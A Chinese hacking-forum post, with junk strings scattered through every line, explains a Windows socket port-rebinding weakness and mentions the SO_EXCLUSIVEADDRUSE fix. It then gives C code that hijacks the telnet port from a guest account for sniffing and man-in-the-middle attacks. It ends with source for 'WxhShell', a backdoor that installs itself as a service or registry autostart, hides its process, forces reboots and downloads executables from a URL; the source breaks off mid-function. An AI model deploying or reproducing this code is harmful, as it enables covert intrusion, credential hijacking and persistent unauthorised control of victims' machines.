社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19817阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /6'5uP   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _lw:lZM?  
wEix8Ow*  
  saddr.sin_family = AF_INET; P7 qzZ  
XTq+  9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )tx!BJiZ[  
p v*f]Yzx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9,wU[=.0  
NHD`c)Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WHR6/H  
E#yG}UWe  
  这意味着什么?意味着可以进行如下的攻击: vn.j>;E'  
6P`!yBAu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CuYSvW  
7;ddzxR4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u/HNXJ7M`9  
tf{o=X.)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;/(<yu48  
T:VFyby\w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z4s{a(Tsd  
26-K:"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bSk)GZyH\d  
!@f!4n.e|I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M~*o =t  
. L]!*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L@~0`z:>iP  
 B"Ttr+  
  #include m$^v/pLkM  
  #include ,z|g b]\  
  #include tzG.)Uqs  
  #include    &BRi& &f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?[hkh8|  
  int main() 90 pt'Jg  
  { cD9axlJ  
  WORD wVersionRequested; I~>Ye<g#  
  DWORD ret; +`~kt4W  
  WSADATA wsaData; j.g9O]pi  
  BOOL val; 71k >_'fl  
  SOCKADDR_IN saddr; zy@ nBi^  
  SOCKADDR_IN scaddr; w4;1 ('  
  int err; b^&nr[DC  
  SOCKET s; 2~!+EH  
  SOCKET sc; +#7)'c  
  int caddsize; T']G:jkb  
  HANDLE mt; I :o.%5)  
  DWORD tid;   pa6-3c  
  wVersionRequested = MAKEWORD( 2, 2 ); F)uS2  
  err = WSAStartup( wVersionRequested, &wsaData ); c~n:xblv  
  if ( err != 0 ) { <):= mr7  
  printf("error!WSAStartup failed!\n"); ; Ne|H$N  
  return -1; Y2P%0  
  } 9>[ *y8[:0  
  saddr.sin_family = AF_INET; cp3O$S  
   Aw7_diK^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u*<knZ~ty  
52z{   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7\Wq:<JL  
  saddr.sin_port = htons(23); )\l(h%s[I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -i"?2gK  
  { f _*F&-L  
  printf("error!socket failed!\n"); rL<a^/b/=  
  return -1; bjB4  
  } 6e :#x:O  
  val = TRUE; .#}`r`/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 94 GF8P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LVxR *O  
  { J4q_}^/2w  
  printf("error!setsockopt failed!\n"); fV5MI[ t  
  return -1; C?7I(b:  
  } Cc>+OUL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tj,1]_`=V$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lb<D,&+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N Uo   
SR*KZ1U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U|)CZcM  
  { _Rm1-,3  
  ret=GetLastError(); Ce!xa\  
  printf("error!bind failed!\n"); '( yjq<  
  return -1; 05/'qf7P,U  
  } E@92hB4D"  
  listen(s,2); :6y;U  
  while(1) Gq9pJ  
  { v0'`K 5M  
  caddsize = sizeof(scaddr); "/qm,$  
  //接受连接请求 I2<5#|CXpZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >sm<$'vZ/  
  if(sc!=INVALID_SOCKET) s(s hgI 3g  
  { ~)IiF.I b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +:#UU;W  
  if(mt==NULL) ^Qa!{9o[  
  { xHi.N*~D  
  printf("Thread Creat Failed!\n"); m}o4Vr;"  
  break; `w#p8vR  
  } 31k2X81;a  
  } oVja$;>  
  CloseHandle(mt); y8CH=U[  
  } [X\~J &kD  
  closesocket(s); jP"l5  
  WSACleanup(); LV!<vakCK  
  return 0; HMPb%'U~  
  }   OVa38Aucr3  
  DWORD WINAPI ClientThread(LPVOID lpParam) } +ZZO0  
  { U@<]>.$  
  SOCKET ss = (SOCKET)lpParam; F*j0o +B5  
  SOCKET sc; E e 15Y$1  
  unsigned char buf[4096]; (bo-JOOdY(  
  SOCKADDR_IN saddr; qB8R4wCf  
  long num; dE ]yb|Ld  
  DWORD val; ?)?}^  
  DWORD ret; #Zt(g(T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e|S_B*1*0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iFkXt<_A  
  saddr.sin_family = AF_INET; U)iq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s\3OqJo%)  
  saddr.sin_port = htons(23); fsz:A"0H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9@yi UX  
  { .p$tb2%r  
  printf("error!socket failed!\n"); vvmG46IgZ  
  return -1; 6Us*zKgW  
  } U3b&/z|b?  
  val = 100; RA$q{$arb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r%UsUj  
  { \ICc?8oL  
  ret = GetLastError(); y;xY74Nq  
  return -1; 8\B]!  
  } Gx/kel[Y}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mq6TwM  
  {  y)GH=@b  
  ret = GetLastError(); y,cz;2  
  return -1; u;3wg`e  
  } )0N^rw kW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A#KfG1K>  
  { W~qVZ(G*U  
  printf("error!socket connect failed!\n"); \zM3{{mV/  
  closesocket(sc); ds;c\x  
  closesocket(ss); W2T6JFv  
  return -1; =--oH'P=M  
  } x#c%+  
  while(1) "1|\V.>>;  
  { O"V;otlC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nC(<eL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =]m,7v Rq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EUjA-L(  
  num = recv(ss,buf,4096,0); R8C#D B  
  if(num>0) ()o[(Hx+ph  
  send(sc,buf,num,0); `Tk GI0q  
  else if(num==0) M~,N~ N1  
  break; &"'Z)iWm  
  num = recv(sc,buf,4096,0); uN+]q qCf  
  if(num>0) Z+g9!@'a  
  send(ss,buf,num,0); Q]hl+C$d"/  
  else if(num==0) g`r4f%O  
  break; ~Y3X*  
  } i.Z iLDs\7  
  closesocket(ss); 20?@t.aMp  
  closesocket(sc); Qs\*r@6?  
  return 0 ; 8"yZS)09  
  } W@FSQ8b>$m  
0AD8X+M{P  
k<}3_   
========================================================== r<c&;*  
 KGJ *h  
下边附上一个代码,,WXhSHELL Q.} guI\  
fprP$MbI  
========================================================== kcG_ n  
H7dT6`<~Y  
#include "stdafx.h" k keDt+^  
UAe8Ct=YJ  
#include <stdio.h> IaT\ymm`  
#include <string.h> Pmdf:?B  
#include <windows.h> OWT|F0.1$k  
#include <winsock2.h> P "%f8C~r  
#include <winsvc.h> w9TE E,t;5  
#include <urlmon.h> TX).*%f [r  
Yan}H}Oq  
#pragma comment (lib, "Ws2_32.lib") hMnm>  
#pragma comment (lib, "urlmon.lib") ;b_l/T(  
\[&&4CN{  
#define MAX_USER   100 // 最大客户端连接数 ,)M/mG?,  
#define BUF_SOCK   200 // sock buffer , {X}C  
#define KEY_BUFF   255 // 输入 buffer A~({vb'  
;(&S1Rv9  
#define REBOOT     0   // 重启 D`R~d;U~  
#define SHUTDOWN   1   // 关机 SFR<T  
/ }Pj^^6A<  
#define DEF_PORT   5000 // 监听端口 C`qE ,2.  
,Q<mU4  
#define REG_LEN     16   // 注册表键长度 DIw9ov>k  
#define SVC_LEN     80   // NT服务名长度 6u>]-K5  
o[)*Y`xq<w  
// 从dll定义API i2+_~$f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >Og|*g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1YN w=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xauMF~*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =SD^Jl{H  
X& mD/1  
// wxhshell配置信息 H3L uRGe&2  
struct WSCFG { HZqk)sN  
  int ws_port;         // 监听端口 9,[A fI  
  char ws_passstr[REG_LEN]; // 口令 |y pX O3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 72ZoN<c  
  char ws_regname[REG_LEN]; // 注册表键名 h"7~`!"~  
  char ws_svcname[REG_LEN]; // 服务名 2N{^V?:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4W#DLip9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]=ADX}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RT|1M"?$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {krBAz&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -&l%CR,U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {gh<SZsE  
^?NLA&v<  
}; 0Wj,=9q  
]>B4  
// default Wxhshell configuration Qk >9o  
struct WSCFG wscfg={DEF_PORT, Vh?RlIUA  
    "xuhuanlingzhe", WPAT\Al&AE  
    1, /cT6X]o8  
    "Wxhshell", b]  
    "Wxhshell", Y#QXvo%  
            "WxhShell Service", }bSDhMV;  
    "Wrsky Windows CmdShell Service", -^3uQa<zN^  
    "Please Input Your Password: ", -lrcb/)Gz  
  1, #\ uB!;Q  
  "http://www.wrsky.com/wxhshell.exe", %JgdLnQE  
  "Wxhshell.exe" U\(71 =  
    }; +NbiUCMX  
`hdN 6PgK  
// 消息定义模块 /24}>oAH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >#)%/Ti}DU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EJ(36h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @lWYc`>}  
char *msg_ws_ext="\n\rExit."; z'*"iaX<c  
char *msg_ws_end="\n\rQuit."; W1521:  
char *msg_ws_boot="\n\rReboot..."; ut#pg+#Q  
char *msg_ws_poff="\n\rShutdown..."; &u~Pp=kv  
char *msg_ws_down="\n\rSave to "; y)"rh/;  
#0PZa$kM(o  
char *msg_ws_err="\n\rErr!";  yj=OR|v  
char *msg_ws_ok="\n\rOK!"; mx#%oJnsi  
S*gm[ZLQ  
char ExeFile[MAX_PATH]; #^BttI  
int nUser = 0; \E[6wB>uN%  
HANDLE handles[MAX_USER]; e{9~m  
int OsIsNt; r@/@b{=  
Q :.i[  
SERVICE_STATUS       serviceStatus; _a f $0!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cUr!U\X[  
SU1N*k#-o  
// 函数声明 ?4oP=.  
int Install(void); &Q#*Nnb3  
int Uninstall(void); li,rPUCt  
int DownloadFile(char *sURL, SOCKET wsh); $s4.Aj  
int Boot(int flag); k>\v]&|T`  
void HideProc(void); qZ4)) X  
int GetOsVer(void); >JAWcT)d  
int Wxhshell(SOCKET wsl); &_u.q/~   
void TalkWithClient(void *cs); a#k7 aOT0  
int CmdShell(SOCKET sock); c& I  
int StartFromService(void); &=MVX>[  
int StartWxhshell(LPSTR lpCmdLine); N:+)6a  
\|6VGh \Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @%G?Nht]o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w $Fg 0JS  
|j81?4<)v  
// 数据结构和表定义 MB7*AA;  
SERVICE_TABLE_ENTRY DispatchTable[] = -Lu&bVt<>  
{ T9XUNR{&  
{wscfg.ws_svcname, NTServiceMain}, .xuzu#-  
{NULL, NULL} jRd$Vt  
}; /&<V5?1|  
!/!ga)Y  
// 自我安装 _6V1oe2  
int Install(void) Wa7wV 9  
{ ]<C]`W2{  
  char svExeFile[MAX_PATH]; c#>(8#'.U  
  HKEY key; IxS%V31  
  strcpy(svExeFile,ExeFile); 7~F~'V  
xQ7U$QF|]  
// 如果是win9x系统,修改注册表设为自启动 "l9aBBiu  
if(!OsIsNt) { 1. +6x4%rV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BjagG/ sX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); co3\1[q"b  
  RegCloseKey(key); N'WC!K.e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J{.UUw9Agd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \1LfDlQk)  
  RegCloseKey(key); o<%0|n_O&  
  return 0; tv.<pP9-C  
    } NPS*0y/  
  } #4b]j".P!n  
} TYb$+uY  
else { `CH,QT7e  
n=bdV(?4  
// 如果是NT以上系统,安装为系统服务 7KX27.~F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o{! :N>(  
if (schSCManager!=0) '5 ~cd  
{ as|w} $  
  SC_HANDLE schService = CreateService PCHspe9!y  
  ( pA8As  
  schSCManager, W>i"p~!  
  wscfg.ws_svcname, /.<v,CR  
  wscfg.ws_svcdisp, U: Wet,  
  SERVICE_ALL_ACCESS, YcX\t6VK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gK9d `5  
  SERVICE_AUTO_START, w3ni@'X8  
  SERVICE_ERROR_NORMAL, ?h&?`WO (  
  svExeFile, Hcwfe=K&/  
  NULL, ^a_a%ws  
  NULL, 4k-Ak6s  
  NULL, 8\!E )M|4  
  NULL, BjsT 9?6W/  
  NULL fO&`A:JY  
  ); WA"~6U*  
  if (schService!=0) (nt`8 0  
  { a!E22k?((z  
  CloseServiceHandle(schService); *$W&jfW  
  CloseServiceHandle(schSCManager); UUlz3"`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n\l?+)S *  
  strcat(svExeFile,wscfg.ws_svcname); &v0-$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nAEyL+6U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M@{#yEP  
  RegCloseKey(key); z__?kY  
  return 0; |Z<\kx  
    } w|-3X  
  } ]5c(:T F  
  CloseServiceHandle(schSCManager); "mf$E|  
} t+iHsCG)>  
} ;//9,x9;t  
U:C:ugm  
return 1; r O$pj~!|Q  
} ?nGiif  
8zD>t~N2C  
// 自我卸载 wuA?t  
int Uninstall(void) lQHF=Jex  
{ o~IAZU39  
  HKEY key; !T][c~l  
9+^)?JUYll  
if(!OsIsNt) { ;_e9v,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #mw !_]  
  RegDeleteValue(key,wscfg.ws_regname); d@$| zr6  
  RegCloseKey(key); ?gl&q+mv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0bDc 4m  
  RegDeleteValue(key,wscfg.ws_regname); [3G{NC|'  
  RegCloseKey(key); vKG\8+  
  return 0; ]=q auf>3  
  } 05 q760I+  
} j)mU`b_  
} *x|%Nua"  
else { N3|:MMl  
u^tQ2&?O!P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ig `q[o  
if (schSCManager!=0) -[L\:'Gp5  
{ E]OexRJ^i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N|DI k  
  if (schService!=0) G+8)a$?v  
  { "/aZ*mkjfJ  
  if(DeleteService(schService)!=0) { j2MA['{  
  CloseServiceHandle(schService); {fR\yWkt?  
  CloseServiceHandle(schSCManager); cERIj0~  
  return 0; -[7+g  
  } ?ZlXh51  
  CloseServiceHandle(schService); h9H z6 >  
  } 4d@yAr}  
  CloseServiceHandle(schSCManager); 5qtk#FB  
}  j%Au0k  
} rUb{iU;~m  
;`78h?`  
return 1; 2!s PgIz  
} E(r_mF7:  
V#7,vas  
// 从指定url下载文件 ,=u;1  
int DownloadFile(char *sURL, SOCKET wsh) sm/a L^4  
{ Jw;~$  
  HRESULT hr; @*YF!LdU{M  
char seps[]= "/";  !Ld5Y$  
char *token; u /F!8#  
char *file; 8!{*!|Xd  
char myURL[MAX_PATH]; 2<EV iP9  
char myFILE[MAX_PATH]; F] c\Qt  
'@t$3 hk  
strcpy(myURL,sURL); .`OU\LA  
  token=strtok(myURL,seps); F}_b7 |^  
  while(token!=NULL) ;'n%\*+fHH  
  { =GX5T(P8k  
    file=token; +#FqC/`l  
  token=strtok(NULL,seps); 7 m{lOR  
  } !cyrt<  
'? 5-  
GetCurrentDirectory(MAX_PATH,myFILE); ^5sA*%T4  
strcat(myFILE, "\\"); ka9@7IFM  
strcat(myFILE, file); @Lnv  
  send(wsh,myFILE,strlen(myFILE),0); HoGYgye=  
send(wsh,"...",3,0); ]].~/kC^3k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X9m^i2tk  
  if(hr==S_OK) og}Ri!^  
return 0; 'Cc~|gOgD  
else >3uNh:|>/  
return 1; ,eyh%k*hz  
8_('[89m  
} u9hd%}9Qd?  
yJ $6vmQ  
// 系统电源模块 _re# b?  
int Boot(int flag) 4Hj)Av <O(  
{ c;VqEpsbl  
  HANDLE hToken; 'Lrn<  
  TOKEN_PRIVILEGES tkp; 6m:$mhA5  
GmH DG-  
  if(OsIsNt) { [Yt{h9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hC\ l \y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( s3k2Z  
    tkp.PrivilegeCount = 1; E!9WZY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k H.dtg_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r:g\  
if(flag==REBOOT) { f$C{Z9_SX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EqW~K@  
  return 0; L kK *.  
} q?}C`5%D  
else {  k[r^@|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vE:*{G;Y  
  return 0; keAoJeG,J  
} EQm{qc;  
  } &:  Q'X  
  else { 6.D|\;9{c  
if(flag==REBOOT) { cpdESc9W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W8d-4')|  
  return 0; _Si=Jp][  
} ?})A-$f ~  
else { \Bo%2O%4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !D??Y^6bI  
  return 0; Nz dN4+  
} ukiWNF/  
} aK_5@8+ZD  
F)^0R%{C  
return 1; :21d  
} RA0;f'"`  
=:]ps<Qx  
// win9x进程隐藏模块 +{:uPY#1  
void HideProc(void) cb}zCl j o  
{ *[[Gu^t^!  
d0(zB5'}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E4 X6f  
  if ( hKernel != NULL ) y:;.r:  
  { k =! Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E 2n z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _?~%+Oz/  
    FreeLibrary(hKernel); K[z)ts-  
  } *Al@|5  
jWrU'X  
return; X)b$CG  
} P[3i!"O>  
=~1EpZ  
// 获取操作系统版本 r:H]`Uo'r  
int GetOsVer(void) .&^p@A~  
{ 6w^P{%ul  
  OSVERSIONINFO winfo; bU=Utniq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !d72f8@9  
  GetVersionEx(&winfo); enQ*uMKd^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =QqH`.3  
  return 1; &A0OYV3i.  
  else z< %P"   
  return 0; Nr4}x7  
} #V>R#Oh}  
P 9?cp{*  
// 客户端句柄模块 qf? "v;  
int Wxhshell(SOCKET wsl) _;HdX$op  
{ !xsfhLZK  
  SOCKET wsh; *vb"mB  
  struct sockaddr_in client; vIV|y>;g  
  DWORD myID; ,Z{\YAh1  
X-["{  
  while(nUser<MAX_USER) YG\#N+D  
{ [IYVrT&C'  
  int nSize=sizeof(client); c1f"z1Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :33@y%>L  
  if(wsh==INVALID_SOCKET) return 1; @Xo*TJB  
PT/Nz+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I6.rN\%b  
if(handles[nUser]==0) UoT`/.  
  closesocket(wsh); }A3/(  
else =D1  
  nUser++; _p )NZ7yC  
  } y'2|E+*V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @v)Z>xv  
Gx C+lqH#  
  return 0; [^hW>O=@TN  
} y7HFmGM  
x%mRDm~-  
// 关闭 socket ~gI%lORqN  
void CloseIt(SOCKET wsh) dFz"wvu` o  
{ 9?l a5  
closesocket(wsh); dtTn]}J  
nUser--; zd YH9d>D  
ExitThread(0); p2STy\CS  
} h@%Xy(/m'  
6 >kULp  
// 客户端请求句柄 "^]gIQc  
void TalkWithClient(void *cs) C~En0G1  
{ 3aqH!?rVU  
aXe&c^AR  
  SOCKET wsh=(SOCKET)cs; NUsxMhP  
  char pwd[SVC_LEN]; F[ E'R.:  
  char cmd[KEY_BUFF]; '@{:Fr G*U  
char chr[1]; io#}z4"'qY  
int i,j; KIF9[/P  
x9l7|G/$  
  while (nUser < MAX_USER) { | eBwcC#^  
`J.,dqGb  
if(wscfg.ws_passstr) { Sdq}?-&Sa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  [Sm<X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t'44X  
  //ZeroMemory(pwd,KEY_BUFF); <6Q^o[L  
      i=0; a#p+.)Wm  
  while(i<SVC_LEN) { ,.)wCZ,wca  
Z)rW>I  
  // 设置超时 Ks.b).fH  
  fd_set FdRead; ](r}`u%}y  
  struct timeval TimeOut; [:X@|,1V!L  
  FD_ZERO(&FdRead); qTuR[(  
  FD_SET(wsh,&FdRead); Mq> 4!  
  TimeOut.tv_sec=8; b31$i 5{  
  TimeOut.tv_usec=0; w.m8SvS&b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BE?]P?r?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pCKP{c=6Q  
-E7mt`:d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _pdKcE\X  
  pwd=chr[0]; I\)`,w  
  if(chr[0]==0xd || chr[0]==0xa) { KXt8IMP_"y  
  pwd=0; %vmd2}dA  
  break; A?YYR%o%'  
  } P+CV4;Xz  
  i++; rNN>tpZ}  
    } 8Ths"zwn  
5:@bNNX'j  
  // 如果是非法用户,关闭 socket JH?ohA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !Rv ;~f/2  
} +5y^c |L0  
";/]rwHa)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }c,b]!:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TEV DES  
'w:ugb9]  
while(1) { lelmX  
T}Tv}~!f  
  ZeroMemory(cmd,KEY_BUFF); ucl001EK  
x;vfmgty  
      // 自动支持客户端 telnet标准   <'=!f6Wh  
  j=0; 971=OEyq*  
  while(j<KEY_BUFF) { \,;glY=M!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NO5k1/-  
  cmd[j]=chr[0]; W2{w<<\$3}  
  if(chr[0]==0xa || chr[0]==0xd) { `EKf1U\FI  
  cmd[j]=0; +`>7cy%cZ  
  break; m>uG{4<-  
  } hDXTC_^s  
  j++; *;Kp"j  
    } k^7!iOK2  
W?Z>g"  
  // 下载文件 ILuQ.VhBVN  
  if(strstr(cmd,"http://")) { (;fJXgj.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pe:)zt0  
  if(DownloadFile(cmd,wsh)) !8 @yi"n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P>_O :xD  
  else 2Bt/co-~4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yi8vD~aA[  
  } i#:To |\u  
  else { b!H1 |7>  
gJ l^K  
    switch(cmd[0]) {  +P(*S  
  Gamn,c9  
  // 帮助 <EC"E #p  
  case '?': { aImzK/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t jM9EP  
    break; rxp|[>O<  
  } C^q|(G)  
  // 安装 Jt$YSp=!!  
  case 'i': { &g?GF\Y  
    if(Install()) g1t6XVS$9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3,i j@P  
    else ld(60?z>FH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i9 aR#  
    break; !Yc:yF  
    } b`e_}^,c  
  // 卸载 Ug*B[q/  
  case 'r': {  ~&~4{  
    if(Uninstall()) c|<F8 n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hNc8uV{r=  
    else <0';2yP"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nf pO  
    break; ,!> ~izB  
    } 4Uny.C]  
  // 显示 wxhshell 所在路径 Yo%U{/e  
  case 'p': { t'K+)OK  
    char svExeFile[MAX_PATH]; ;"D}"nL  
    strcpy(svExeFile,"\n\r"); U)dcemQY  
      strcat(svExeFile,ExeFile); Lv+{@)  
        send(wsh,svExeFile,strlen(svExeFile),0); +  }"+  
    break; 2*snMA  
    } mc]+j,d  
  // 重启 H:~bWd'iz  
  case 'b': { 8cO?VH,nk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1e\cJ{B  
    if(Boot(REBOOT)) [>NMuwtG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Za}q]?  
    else { IYn`&jS{  
    closesocket(wsh); )B]"""J  
    ExitThread(0); wXQu%F3  
    } |ts0j/A]Pi  
